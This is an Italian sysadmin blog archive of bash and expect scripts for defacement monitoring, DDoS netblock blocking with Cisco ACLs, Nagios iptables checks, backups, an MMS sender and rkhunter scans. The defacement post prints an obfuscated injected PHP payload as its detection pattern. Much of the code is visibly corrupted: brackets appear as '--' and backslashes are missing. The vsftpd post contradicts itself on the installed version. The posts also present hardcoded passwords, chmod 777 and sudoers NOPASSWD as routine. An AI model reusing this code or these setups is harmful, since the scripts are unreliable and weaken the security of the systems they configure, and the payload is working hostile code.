Archivi tag: bash

Script per tenere sotto controllo i siti vittima di defacing

Recentemente è aumentato a dismisura il numero di siti che hanno subito un defacing. Tale piaga può essere dovuta a diversi fattori:

1) vulnerabilità del Web server (ricordate il celeberrimo exploit per IIS che sfruttava una cattiva gestione dell’URL encoding?)

2) Vulnerabilità del sistema operativo che ospita il Web server (o di uno dei servizi attivi sulla macchina);

3) Furto delle credenziali FTP, soprattutto se sono state inviate via email.

defacing, pattern, bash, cracker, cron, script, monitoring

Vi assicuro che la terza ipotesi è quella più gettonata, nel senso che sempre più spesso si assiste ad un defacing proprio perchè i cracker hanno ottenuto accesso allo spazio FTP, riuscendo quindi a modificare a piacimento le pagine Web del sito vittima.

Ad esempio, in questo post ho discusso di un defacing avvenuto sul sito di un amico. Il pattern specifico che lo identificava era il seguente:

#c3284d# echo(gzinflate(base64_decode("JY5BjsIwEATvSPzBmgu7l1jaIxvnFXxgcIZ4VoltjRsCvydsbq2Wqqv7Fk0rHF5VAkGe8H/84L2l4XgYS7wvktGtpp CvU68340VcsxgoAfXsfTRh6EPUSmZDlwVeF56k+QZG62qq5PKGBbqsCoiR2xRlnjVPgfiOQu5/91psFAuUt4JnnXKguNk/QBKdEgL9kFt1RPqkoff7n+H0/X s89H4/PrwB"))); #/c3284d#

Ecco allora che ho pensato di creare uno scrip, da eseguire automaticamente mediante cron, che mi potesse segnalare la presenza del suddetto pattern sul sito che stavo monitorando:

#!/bin/bash

touch temp

data=`date`

wget nomesito.it

cat index.html | grep gzinflate >> temp

if [ -s temp ]; then
cat temp | mail -iv -s "$data: codice malevolo iniettato" vostro.indirizzo@email.it
fi

rm index.html*

rm temp

exit 0

Lo scrip è abbastanza banale ma vi assicuro che è di un’utilità pazzesca.

Potete modificarlo a vostro piacimento, basta che settate il sito da monitorare, il pattern (dopo il grep) ed il vostro indirizzo di posta elettronica (su cui verranno inviate le email di alert in caso di defacciamento).

Spero vi possa tornare utile.

Alla prossima.

ddosinfo: script per la creazione automatica di ACL Cisco contro gli attacchi DDoS

In questo post vi ho mostrato un piccolo scrip per l’individuazione della nazionalità relativa agli IP sorgenti di un attacco DDoS. Avevo già preannunciato alcune modifiche, ovvero la generazione automatica delle ACL Cisco e l’aggiunta di un menù interattivo. Bhè, così è stato.

acl, cisco, acl standard, acl estese, acl nominali, bash, ddos, whois, IP, netblock

Per prima cosa installiamo il tool ipcalc, che ci servirà per calcolare le wildmask da impostare sulle ACL:

nightfly@nightbox:~$ sudo apt-get install ipcalc

Successivamente creiamo un file testuale vuoto su cui incolleremo il contenuto dello scrip e rendiamolo eseguibile:

nightfly@nightbox:~$ touch ddosinfo

nightfly@nightbox:~$ chmod +x ddosinfo

Non ci resta che copiarci dentro le seguenti direttive:

#!/bin/bash
touch ipinfo
touch target
touch parsed
touch acl
touch target_pari
touch target_dispari
touch target_parsed

while read line
do
        whois -F $line >> ipinfo
done < tlog

while read line
do
    locin=`echo $line | grep "*in"`
    loccy=`echo $line | grep "*cy"`
    if [[ -n "$locin" || -n "$loccy" --; then
        echo "$locin$loccy"  >> target
    fi
done < ipinfo

cat target | awk 'NR%2==1' >> target_dispari
cat target | awk 'NR%2==0' >> target_pari

paste target_dispari target_pari | grep -v "IT" >> target_parsed

while read line
do
        block=`echo $line | grep "*in" | sed s/*in://g`
    if [ -n "$block" ]; then
               wild1=`ipcalc $block | awk '{ print $1 }' | sed s/deaggregate//g`
        wild2=`ipcalc -b $wild1 | awk 'BEGIN { FS = "Wildcard: " } ; { print $2 }' | tr 'n' ' ' | sed 's/^[ t]*//;s/[ t]*$//;'`
        wild3=`ipcalc -b $wild1 | awk 'BEGIN { FS = "Address: " } ; { print $2 }' | sed 's/^[ t]*//;s/[ t]*$//'`
        echo "$wild3 $wild2" >> parsed
    fi
done < target_parsed

echo "Seleziona il tipo di ACL:"

echo "1 - standard"
echo "2 - estesa"
echo "3 - nominale"

read scelta;

if [ $scelta == 1 ]; then
    while true;
    do
    echo "Inserisci l'identificativo dell'acl (1-99):"
   
    read numero;
   
    if [[ $numero =~ ^([1-9]|[1-9][0-9])$ --;then
        while true;
        do
            echo "Scegli il protocollo (ip-tcp-udp):"
            read protocollo;
            if [[ $protocollo =~ ^(ip|tcp|udp)$ --;then
                while true;
                do
                    echo "Vuoi attivare il logging? (S/N):"
                        read logging;
                    if [ $logging == "S" ];then
                        while read line
                        do
                            network=`echo $line | awk 'BEGIN { FS = " " } ; { print $1 }'`
                            wildcard=`echo $line | awk 'BEGIN { FS = " " } ; { print $2 }'`
                            echo "access-list $numero deny $protocollo $network $wildcard any log" >> acl
                        done < parsed
                        break
                    else
                        if [ $logging == "N" ];then
                            while read line
                                        do
                                                network=`echo $line | awk 'BEGIN { FS = " " } ; { print $1 }'`
                                wildcard=`echo $line | awk 'BEGIN { FS = " " } ; { print $2 }'`
                                                echo "access-list $numero deny $protocollo $network $wildcard any" >> acl
                                        done < parsed
                        break
                        fi
                    fi
                done
            fi
            break
        done
    break
    fi
    done
fi

if [ $scelta == 2 ]; then
    while true;
    do

    echo "Inserisci l'identificativo dell'acl (100-199 oppure 2000-2699):"
    read numero;

    if [[ $numero =~ ^(1[0-9][0-9]|2[0-6][0-9][0-9])$ --;then
        while true;
        do
            echo "Scegli il protocollo (ip-tcp-udp):"
            read protocollo;
            if [[ $protocollo =~ ^(ip|tcp|udp)$ --;then
                while true;
                do
                    echo "Vuoi attivare il logging? (S/N):"
                        read logging;
                    if [ $logging == "S" ];then
                        while read line
                        do
                            network=`echo $line | awk 'BEGIN { FS = " " } ; { print $1 }'`
                            wildcard=`echo $line | awk 'BEGIN { FS = " " } ; { print $2 }'`
                            echo "access-list $numero deny $protocollo $network $wildcard any log" >> acl
                        done < parsed
                        break
                    else
                        if [ $logging == "N" ];then
                            while read line
                                        do
                                                network=`echo $line | awk 'BEGIN { FS = " " } ; { print $1 }'`
                                wildcard=`echo $line | awk 'BEGIN { FS = " " } ; { print $2 }'`
                                                echo "access-list $numero deny $protocollo $network $wildcard any" >> acl
                                        done < parsed
                        break
                        fi
                    fi
                done
            fi
            break
        done
    break
    fi
    done
fi

if [ $scelta == 3 ]; then

    while true;
    do
    echo "Inserisci il nome dell'acl:"
    read nome;
    if [[ $nome =~ [[:alpha:-- --;then
        while true;
        do
            echo "Scegli il protocollo (ip-tcp-udp):"
            read protocollo;
            if [[ $protocollo =~ ^(ip|tcp|udp)$ --;then
                while true;
                do
                    echo "Vuoi attivare il logging? (S/N):"
                        read logging;
                    if [ $logging == "S" ];then
                        while read line
                        do
                            network=`echo $line | awk 'BEGIN { FS = " " } ; { print $1 }'`
                            wildcard=`echo $line | awk 'BEGIN { FS = " " } ; { print $2 }'`
                            echo "access-list $numero deny $protocollo $network $wildcard any log" >> acl
                        done < parsed
                        break
                    else
                        if [ $logging == "N" ];then
                            while read line
                                        do
                                                network=`echo $line | awk 'BEGIN { FS = " " } ; { print $1 }'`
                                wildcard=`echo $line | awk 'BEGIN { FS = " " } ; { print $2 }'`
                                                echo "access-list $numero deny $protocollo $network $wildcard any" >> acl
                                        done < parsed
                        break
                        fi
                    fi
                done
            fi
            break
        done
    break
    fi
    done
fi

rm ipinfo
rm parsed
rm target_*

exit 0;

Tale scrip consente di scegliere tra 3 tipoligie di ACL (tutte per il protocollo IP), ovvero:

1) standard;

2) estese;

3) nominali.

Le ACL generate verranno salvate all’interno del file acl, mentre gli IP sorgenti da analizzare vanno posizionati nel file tlog. Non vi rimane dunque che copiare il contenuto del file acl ed incollarlo nel firewall/router, sotto il menù di configurazione (config#) e successivamente associare l’access control list appena creata all’interfaccia target.

Avrete certamente notato che il codice non è dei più semplici per via del parsing massiccio che si è reso necessario. Tuttavia non scoraggiatevi, se avete delle domande (ed individuate eventuali falle/miglioramenti) non esitate a contattarmi.

A presto.

DDoS: script bash per individuare la nazionalità degli IP sorgenti dell’attacco

Per arginare un attacco DDoS è necessario, prima di tutto, individuare quali sono gli IP pubblici da cui proviene. In secondo luogo, occorre capire se il sito vittima basa il proprio “business” esclusivamente su visite italiane. In questo caso, per realizzare delle opportune ACL in modo da filtrare il traffico in ingresso, si deve capire quali sono i netblock stranieri da interdire. Per fare ciò ho realizzato un piccolo scrip bash che legge gli IP da un file di testo (ricavati, ad esempio, analizzando i log del Firewall o del Web server) e ne individua il relativo netblock (e la nazionalità).

 

ddos,bash,script,linux,netblock,netmask,ip

Ecco lo scrip:

#!/bin/bash

touch ipinfo
touch target

while read line
do
        whois -F $line >> ipinfo
done < tlog

while read line
do
        locin=`echo $line | grep "*in"`
        loccy=`echo $line | grep "*cy"`
        if [[ -n "$locin" || -n "$loccy" --; then
                echo "$locin$loccy" >> target
        fi
done < ipinfo

rm ipinfo

exit 0;

Ovviamente è ancora ad una versione alpha (0.1). Appena avrò tempo provvederò ad aggiungere il calcolo automatico delle netmask e la creazione automatizzata della relative ACL Cisco (con un minimo di interattività).

Alla prossima.

NB: il file testuale tlog deve contenere un solo IP sorgente per riga.

Controllare lo stato di iptables mediante Nagios

Recentemente su uno dei miei server ho lanciato il comando:

nightfly@nightbox:~$ sudo iptables -L

e con mio enorme disappunto mi sono accorto che le regole di firewalling che il server avrebbe dovuto caricare all’avvio erano praticamente assenti (eccezion fatta per fail2ban), indi per cui ho deciso di monitorare lo stato di iptables mediante Nagios.

iptables.jpg

Lo scrip che ho utilizzato per i check potete scaricarlo da qui. Inoltre, poichè tale scrip è piuttosto bacato, ho deciso di apportare qualche piccola correzione. Di seguito la versione originale dello scrip:

#!/bin/bash

PARAM1=$1
TABLE=$2
MINRULES=$3
PARAM4=$4
LOG=/var/log/iptables/iptables.log
CHKIPTBLS=`/sbin/iptables -n -t filter -L |wc -l`

#
# Parameter Validation
##

if [ "$PARAM1" != "-T" -o "$TABLE" == "" -o "$MINRULES" != "-r" -o "$PARAM4" == "" ]; then
        echo "Usage: $0 -T <table> -r <min rules>"
        echo ""
        exit 3
                # Nagios exit code 3 = status UNKNOWN = orange

if [ "$PARAM1" == "-h" ]; then
        echo ""
        echo "         -h = Display's this Help"
        echo "         -T = Table to check"
        echo "                 Available Tables:"
        echo "                    nat"
        echo "                    mangle"
        echo "                    filter"       
        echo "         -r = Minimun quantity of rules"
        echo ""
        # Nagios exit code 3 = status UNKNOWN = orange
                exit 3
   fi
fi

##
#    DO NOT MODIFY ANYTHING BELOW THIS
##

$CHKIPTBLS >/dev/null 2>/dev/null

if [ "$CHKIPTBLS" == 0 ]; then
    TOTRULES=$CHKIPTBLS
else
    TOTRULES=$[$CHKIPTBLS-8]
fi

if [ "$TOTRULES" -gt "$PARAM4" ]; then
                    echo "OK - Iptables are OK the table $TABLE has $TOTRULES rules configured"
                    # Nagios exit code 0 = status OK = green
                    exit 0
else
                    echo " CRITICAL - Iptables are CRITICAL the table $TABLE has $TOTRULES rules configured"
                    for i in `w  -h | cut -f1 -d" " | sort | uniq`
                    do

                        echo "`date '+%d/%m/%Y - %H:%M:%S'` - CRITICAL - $i is logged in and there are only $TOTRULES loaded" >> $LOG
                    done
                    # Nagios exit code 2 = status CRITICAL = red
                    exit 2               
fi

Punto primo: la seconda condizione dell’if non ha praticamente senso, in quanto la prima è sempre verificata.
E’ bastato invertire le due condizioni e trattarle separatamente:

#
# Parameter Validation
##

if [ "$PARAM1" == "-h" ]; then
        echo ""
        echo "          -h = Display's this Help"
        echo "          -T = Table to check"
        echo "          Available Tables:"
        echo "          nat"
        echo "          mangle"
        echo "          filter"
        echo "          -r = Minimun quantity of rules"
        echo ""
        # Nagios exit code 3 = status UNKNOWN = orange
        exit 3
fi

if [ "$PARAM1" != "-T" -o "$TABLE" == "" -o "$MINRULES" != "-r" -o "$PARAM4" ==                                                                                         "" ]; then
        echo "Usage: $0 -T <table> -r <min rules>"
        echo ""
        exit 3
        # Nagios exit code 3 = status UNKNOWN = orange
fi

Punto secondo: la variabile CHKIPTBLS utilizza sempre e comunque la tabella filter, dunque il parametro -T non ha senso di esistere. Possiamo però ovviare a tale mancanza, permettendo all’utente di scegliere su quale tabella (tra filter, mangle e nat) effettuare i controlli, modificando la variabile citata in precedenza nel seguente modo:

CHKIPTBLS=`sudo /sbin/iptables -n -t "$TABLE" -L |wc -l`

Punto terzo: la condizione

if [ "$TOTRULES" -gt "$PARAM4" ]; then

controlla che il numero di regole caricate sia strettamente maggiore di quello definito mediante il parametro -r. Questo però cozza con quanto dichiarato dall’autore dello scrip, ovvero:

OK - The number of Iprules equal o more than the minimun that we setup on the -r variable

Per ovviare a tale errore, occorre sostituire la condizione riportata in precedenza con questa:

if [ "$TOTRULES" -ge "$PARAM4" ]; then

Punto quarto: nagios non ha i permessi per lanciare iptables, ergo dobbiamo effettuare delle modifiche al file /etc/sudoers, inserendo la entry:

nagios   ALL = NOPASSWD: /sbin/iptables

alla fine del file. 

In definitiva, lo scrip per controllare lo stato di iptables dovrà essere il seguente:

#!/bin/bash

PARAM1=$1
TABLE=$2
MINRULES=$3
PARAM4=$4
LOG=/var/log/check_iptables.log
CHKIPTBLS=`sudo /sbin/iptables -n -t "$TABLE" -L |wc -l`

#
# Parameter Validation
##

if [ "$PARAM1" == "-h" ]; then
        echo ""
        echo "          -h = Display's this Help"
        echo "          -T = Table to check"
        echo "          Available Tables:"
        echo "          nat"
        echo "          mangle"
        echo "          filter"
        echo "          -r = Minimun quantity of rules"
        echo ""
        # Nagios exit code 3 = status UNKNOWN = orange
        exit 3
fi

if [ "$PARAM1" != "-T" -o "$TABLE" == "" -o "$MINRULES" != "-r" -o "$PARAM4" == "" ]; then
        echo "Usage: $0 -T <table> -r <min rules>"
        echo ""
        exit 3
        # Nagios exit code 3 = status UNKNOWN = orange
fi

##
#       DO NOT MODIFY ANYTHING BELOW THIS
##

$CHKIPTBLS >/dev/null 2>/dev/null

if [ "$CHKIPTBLS" == 0 ]; then
        TOTRULES=$CHKIPTBLS
else
        TOTRULES=$[$CHKIPTBLS-8]
fi

if [ "$TOTRULES" -ge "$PARAM4" ]; then
                    echo "OK - Iptables is OK The Table $TABLE has $TOTRULES rules configured"
                    # Nagios exit code 0 = status OK = green
                    exit 0
else
                    echo " CRITICAL - Iptables is CRITICAL The Table $TABLE has $TOTRULES rules configured"
                                        for i in `w  -h | cut -f1 -d" " | sort | uniq`
                                        do
                                                echo "`date '+%d/%m/%Y - %H:%M:%S'` - CRITICAL - $i is logged in and there are only $TOTRULES loaded" >> $LOG
                                        done
                    # Nagios exit code 2 = status CRITICAL = red
                    exit 2
fi

Se il file /var/log/check_iptables.log non esiste, dovrete crearlo mediante il comando:

nightfly@nightbox:~$ sudo touch /var/log/check_iptables.log

A questo punto possiamo rinominare lo scrip:

nightfly@nightbox:~$ mv check_iptables_status.sh check_iptables_status

rendondolo successivamente eseguibile:

nightfly@nightbox:~$ chmod +x check_iptables_status

Spostiamolo nella directory /usr/lib/nagios/plugins:

nightfly@nightbox:~$ sudo mv check_iptables_status /usr/lib/nagios/plugins

Creiamo il file iptables.cfg nella directory /etc/nagios-plugins/config:

nightfly@nightbox:/etc/nagios-plugins/config$ sudo nano iptables.cfg

il cui contenuto dovrà essere il seguente:

# 'check_iptables_status' command definition
define command{
        command_name    check_iptables_status
        command_line    /usr/lib/nagios/plugins/check_iptables_status -T '$ARG1$' -r '$ARG2$'
        }

infine aggiungiamo la seguente direttiva al file dell’host su cui vogliamo monitorare lo stato di iptables (tale file è presente nella directory /etc/nagios3/conf.d):

define service{
        use                             generic-service         ; Name of service template to use
        host_name                       localhost
        service_description             iptables
                check_command                   check_iptables_status!filter!84
}

Dove 84 è il numero minimo di regole di firewalling attive.

Infine, riavviamo nagios:

nightfly@nightbox:~$ sudo service nagios3 restart

ed abbiamo finito.

Alla prossima.

Script per il backup automatico della configurazione di un router Cisco SOHO 77

Premessa

Un sistemista di rete previdente sa che è di vitale importanza poter contare su di un backup valido delle configurazioni relative ai vari network device. Proprio per questo motivo ho deciso di creare uno scrip che permettesse di automatizzare tale procedura.

soho.JPG

 

Configurare un server TFTP

Occorre precisare che il backup della configurazione del nostro router Cisco SOHO 77 verrà archiviato su di un server TFTP basato su una distribuzione *buntu.

Ma veniamo al dunque. Per prima cosa installiamo il server TFTP digitando:

nightfly@nightbox:~$ sudo apt-get install tftp tftpd xinetd

A questo punto posizioniamoci sulla directory /etc/xinetd.d e creiamo il file tftp il cui contenuto dovrà essere:

service tftp
 {
 protocol        = udp
 port            = 69
 socket_type     = dgram
 wait            = yes
 user            = nobody
 server          = /usr/sbin/in.tftpd
 server_args     = /tftpboot
 disable         = no
 }

Come si può notare dalla direttiva server_args     = /tftpboot il nostro server salverà la configurazione del router nella directory /tftpboot. Inoltre, poichè tale dir non è presente sulla nostra macchina è necessario crearla digitando:

nightfly@nightbox:/$ mkdir tftpboot

posizioniamoci all’interno di /tftpboot e creiamo il file vuoto router.cfg che conterrà la configurazione del SOHO 77:

nightfly@nightbox:/tftpboot$ sudo touch router.cfg

A questo punto lavoriamo sui permessi della directory appena creata e del suo contenuto:

nightfly@nightbox:/$ sudo chmod 777 -R tftpboot

nightfly@nightbox:/$ sudo chown nobody tftpboot

Riavviamo xinetd digitando:

nightfly@nightbox:/$ sudo /etc/init.d/xinetd stop

nightfly@nightbox:/$ sudo /etc/init.d/xinetd start

Infine, verifichiamo che il nostro server TFTP sia in ascolto digitando:

nightfly@nightbox:/$ sudo nmap -sU localhost

se l’output sarà simile al seguente:

69/udp   open|filtered tftp

vuol dire che il server risulta effettivamente in ascolto.

Scrip per il backup automatico della configurazione relativa al SOHO 77

Prima di mostrarvi lo scrip, è necessario installare un tool indispensabile al suo funzionamento. Tale tool prende il nome di expect:

nightfly@nightbox:/$ sudo apt-get install expect

Creiamo ora il file backup_conf_soho77 il cui contenuto dovrà essere il seguente:

#!/usr/bin/expect

set password1 "<pass1>"
set password2 "<pass2>" #necessaria nel caso in cui la password per l'enable sia diversa da quella per l'accesso via telnet

spawn telnet <IP del router>
expect "Password:"
send "$password1r"
expect ">"
send "enar"
expect "Password:"
send "$password2r"
expect "#"
send "copy system:running-config tftp://<IP del server TFTP>/router.cfgr"
expect "?"
send "r"
expect "?"
send "r"
expect "#"
send "exitr"
expect eof

NB: prima della r all’interno delle virgolette ci vuole il backslash, in modo da inviare al router un ritorno a capo (nello scrip non appare in quanto viene automaticamente skippato da myblog per ragioni di sicurezza).

Rendiamo lo scrip eseguibile mediante il comando:

nightfly@nightbox:~$ sudo chmod +x backup_conf_soho77

e successivamente spostiamolo nella directory /usr/bin:

nightfly@nightbox:~$ sudo mv backup_conf_soho77 /usr/bin

Adesso non ci resta che “schedulare” l’esecuzione dello scrip. Per fare questo è sufficiente inserire una entry in /etc/crontab:

00 00   * * * root backup_conf_router

In particolare, ogni mezzanotte verrà eseguito il backup della configurazione mediante lo scrip descritto in precedenza.

Riavviamo cron per rendere effettive le nuove impostazioni:

nightfly@nightbox:~$ sudo /etc/init.d/cron restart

ed abbiamo finito.

A presto.

 

autovodafone versione 0.2: URL-encoding completo e meccanismi di controllo

Come avevo già preannunciato in questo post, ecco la versione 0.2 dello scrip bash per l’invio di MMS gratis mediante Vodafone.it:

mms2.jpg

#!/bin/bash

#File di log
FILELOG=/var/log/autovodafone

ROOT_UID=0

#Controllo che lo scrip venga eseguito da root
if [ "$UID" -ne "$ROOT_UID" ];then

        ERRORE1="Errore 1: Devi essere root per eseguire lo scrip"
        echo $ERRORE1
        echo "$(date) $ERRORE1" >> $FILELOG
        exit 1

fi

data=$(date)

echo "Inserisci il destinatario:"

read destinatario

echo "Inserisci l'oggetto del messaggio:"

read oggetto

echo "Inserisci il testo del messaggio:"

read testo

echo "$testo" > text

cat text | sed -f urlencoding.sed > encoded

enc=$(cat encoded)

curl -c cookiev.txt -F "username=vostrousername" -F "password=vostrapassword" https://www.vodafone.it/190/trilogy/jsp/login.do 2&>1
curl -b cookiev.txt --data "recipient=$destinatario&subjecttosend=$oggetto&SmilName=&TextName=$enc&ImageName=&AudioName=&nextPage=/web/servletresult.html" http://mmsviaweb.net.vodafoneomnitel.it/WebComposer/web/elaborapop.jsp | grep -o -E '"s*(.*)>(.*)"' > out

sed -n '2p' out > out1

sed -e s/"//g out1 > out2

sed -e "s/ /+/g" out2 > out3

url="http://mmsviaweb.net.vodafoneomnitel.it"

url1=$(cat out3)

url2=$(echo "$url$url1")

curl -b cookiev.txt $url2 > result

if grep -q "SendMessage=1" result;then

echo "$data: messaggio inviato" >> $FILELOG

else

echo "$data: il messaggio non e' stato inviato" >> $FILELOG

fi

rm out

rm cookiev.txt

rm text

rm encoded

rm result

exit 0

Nella fattispecie, ho creato il file urlencoding.sed per la codifica del testo relativo all'MMS, il cui contenuto è il seguente:

s/%/%25/g
s/ /%20/g
s/ /%09/g
s/!/%21/g
s/"/%22/g
s/#/%23/g
s/$/%24/g
s/&/%26/g
s/'''/%27/g
s/(/%28/g
s/)/%29/g
s/*/%2a/g
s/+/%2b/g
s/,/%2c/g
s/-/%2d/g
s/./%2e/g
s///%2f/g
s/:/%3a/g
s/;/%3b/g
s//%3e/g
s/?/%3f/g
s/@/%40/g
s/[/%5b/g
s//%5c/g
s/]/%5d/g
s/^/%5e/g
s/_/%5f/g
s/`/%60/g
s/{/%7b/g
s/|/%7c/g
s/}/%7d/g
s/~/%7e/g
s/      /%09/g

Ho voluto avvalermi di sed per omogeneità, ciò non significa che tale operazione non sia fattibile attraverso linguaggi di scripting esterni (ad esempio perl).

Inoltre, mediante le seguenti righe di codice:

if grep -q "SendMessage=1" result;then

echo "$data: messaggio inviato" >> $FILELOG

else

echo "$data: il messaggio non e' stato inviato" >> $FILELOG

fi

ho previsto dei controlli (molto basilari) relativi all’esito dell’operazione di inoltro degli MMS, il cui risultato verrà salvato sul file di log (con data e ora).

Qualunque suggerimento per estendere e/o migliorare lo scrip rimane comunque il benvenuto.

A presto.

Script bash per l’individuazione di eventuali rootkit mediante rkhunter

Recentemente ho creato questo semplice scrip bash che consente di identificare eventuali rootkit installati sulla nostra macchina, inviando successivamente il risultato della scansione al nostro indirizzo email. Tale scrip si avvale del tool rkhunter.

bash

Ecco il codice:

#!/bin/bash

destinatario=vostro.indirizzo@email.it

logfile=/var/log/rkhuntercheck.log

ROOT_UID=0

if [ "$UID" -ne "$ROOT_UID" ];then

        ERRORE1="Errore 1: Devi essere root per eseguire lo scrip"
        echo $ERRORE1
        echo "$(date) $ERRORE1" >> $logfile

        exit 1

fi

rkhunter --update -c --sk --nocolors > temp_rootkit;

cat temp_rootkit | mail -iv -s "Esito scansione rootkit con rkhunter" $destinatario;

rm temp_rootkit;

exit 0

In particolare, la flag –sk consente di skippare il keypress, mentre la flag –nocolors consente di creare un report senza preoccuparci della formattazione del testo mediante i colori.

Inoltre, prima di effettuare uno scan, grazie alla flag –update, aggiorno rkhunter con le ultime signature.

Spero che questo scrip vi possa tornare utile.

A presto.

Script per il backup giornaliero di un database remoto

Visto che la ridondanza non è mai troppa (Murphy vi dice qualcosa?), ho pensato di realizzare uno scrip per effettuare il backup di un database hostato su un server remoto.

shell

Ecco lo scrip (basato su expect):

#!/usr/bin/expect -f
set date [exec date +%d_%m_%y]
set password1 "<pass1>"
set password2 "<pass2>"
set database "<nomedb>"
spawn ssh user@hostname
expect "*?assword:*"
send "$passwordr"
send "r"
expect ":~$"
send "mysqldump $database -u root -ppassvostrodb > $database_$date.plr"
send "$database_$date.pl user@hostname:/home/userr"
expect "*?assword:*"
send "$password2r"
send "r"
expect ":~$"
send "rm database_*r"
expect eof

Lo scrip in questione si collega via SSH al server remoto, esegue un dump del database per poi copiarlo tramite SCP sul mio server.

Affinchè tale scrip venga eseguito giornalmente (per la precisione ogni sera alle 22) è necessario editare il file /etc/crontab aggiungendo la seguente direttiva:

00 22   * * * user  cd /home/user/ && ./backupremotedb > /dev/null 2>&1

Per ulteriori info contattatemi.

A presto.

Script bash per l’invio di notifiche tramite email

Poco tempo fa ho deciso di creare un piccolo scrip in grado di interrogare un database, salvare temporaneamente in un file la risposta alla query ed inviare una notifica via email all’indirizzo di posta specificato. Nella fattispecie, tale scrip ha come scopo principale quello di notificare le scadenze da saldare e quelle non rispettate.

bash,mail,email,mysql,query,script,scadenze,notifiche

Ma bando alle ciance ed ecco lo scrip:

#!/bin/bash

destinatario=vostro.indirizzo@email.it

logfile=/var/log/notifier.log

ROOT_UID=0

data=`date +%s` #lavoro con i timestamp per poter confrontare le date

if [ "$UID" -ne "$ROOT_UID" ];then

        ERRORE1="Errore 1: Devi essere root per eseguire lo scrip"
        echo $ERRORE1
        echo "$(date) $ERRORE1" >> $logfile

        exit 1

fi

mysql -u root -ppassword -D nomedb -e "SELECT * FROM scadenza;" >> scadenze

echo "Hai le seguenti scadenze da saldare: " > scadenze_imminenti;

echo "Hai le seguenti scadenze non saldate: " > scadenze_nonrispettate;

while read line

do

        scad=`cat scadenze | grep - | awk '{print $2}'` #per individuare la data di scadenza.

        for info in $scad

        do

                datascad=`date --utc --date "$info" +%s`  #uso i timestamp per confrontare le date

                if [ "$data" -le "$datascad" ];then

                        if [[ $line =~ $info --;then

                                echo $line >> scadenze_imminenti

                        fi

                fi

                if [ "$data" -gt "$datascad" ];then

                        if [[ $line =~ $info --;then

                                echo $line >> scadenze_nonrispettate

                        fi
                fi

       done

done < scadenze

if grep -q "-" scadenze_imminenti ;then

uniq scadenze_imminenti | mail -iv -s "Scadenze da saldare" $destinatario;

fi

if grep -q "-" scadenze_nonrispettate ;then

uniq scadenze_nonrispettate | mail -iv -s "Scadenze non saldate" $destinatario;

fi

rm scadenze

rm scadenze_imminenti

rm scadenze_nonrispettate

exit 0

Come è facile notare, viene fatto un confronto tra la data corrente e quella di ciascuna scadenza (sottoforma di UNIX timestamp). Nel caso in cui la data corrente sia antecedente o uguale a quelle delle scadenze, esse verranno salvate nel file scadenze_imminenti, il cui contenuto verrà successivamente inserito nel corpo di una email e spedito al destinatario.

Invece, se la data attuale è maggiore di quella della scadenza, quest’ultima verrà salvata nel file scadenze_nonrispettate, il cui contenuto verrà recapitato nella casella email del destinatario.

Per qualsiasi chiarimento contattatemi.

Bye.

Installare vsftpd 2.3.4 su *buntu

Dopo aver scoperto che tutte le versioni di vsftpd precedenti alla 2.3.4 (ovvero l’ultima release) sono vulnerabili ad attacchi di tipo DoS (Denial of Service), ho deciso di effettuare un upgrade del demone in questione.

vsftpd

 

Prima, però, mi sono sincerato che vsftpd non fosse già aggiornato, lanciando il comando:

nightfly@nightbox:~$ vsftpd -v

il cui output è stato il seguente:

vsftpd: version 2.2.2

Bene, come sospettavo, il demone non era aggiornato. Ho provato quindi un aggiornamento tramite aptitude:

nightfly@nightbox:~$ sudo apt-get update

nightfly@nightbox:~$ sudo apt-get upgrade

Lettura elenco dei pacchetti... Fatto
Generazione albero delle dipendenze
Lettura informazioni sullo stato... Fatto
0 aggiornati, 0 installati, 0 da rimuovere e 0 non aggiornati.

Niente da fare, secondo aptitude, vsftpd è all’ultima versione.

Alla luce di ciò, ho proceduto con un’installazione manuale dello stesso.

Per prima cosa ho scaricato la tarball con i sorgenti puntando alla URL ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.4.tar.gz

nightfly@nightbox:~$ wget ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.4.tar.gz

Successivamente ho scompattato la tarball:

nightfly@nightbox:~$ tar -xzvf vsftpd-2.3.4.tar.gz

Mi sono quindi posizionato nella directory di riferimento:

nightfly@nightbox:~$ cd vsftpd-2.3.4

ed ho lanciato il comando:

nightfly@nightbox:~/vsftpd-2.3.4$ make

A questo punto, lanciando un ls ho notato la presenza del binario di vsftpd all’interno della directory.

Ho dunque proceduto con la sostituzione della versione precedente del demone, presente in /etc/init.d, con questa versione appena compilata, previo backup:

nightfly@nightbox:~/vsftpd-2.3.4$ cd /etc/init.d

nightfly@nightbox:/etc/init.d$ sudo mv vsftpd vsftpd.bak

Poi ho effettuato la sostituzione vera e propria:

nightfly@nightbox:/etc/init.d$ cd /home/nightfly/vsftpd-2.3.4

nightfly@nightbox:~/vsftpd-2.3.4$ sudo cp vsftpd /etc/init.d

Dopo aver fatto ciò, ho verificato che la versione di vsftpd fosse quella giusta:

nightfly@nightbox:~$ vsftpd -v

ricevendo come output:

vsftpd: version 2.2.4

Infine ho proceduto con il riavvio del servizio:

nightfly@nightbox:~$ service vsftpd restart

Ed ecco che il mio server FTP risultava finalmente patchato.

Alla prossima.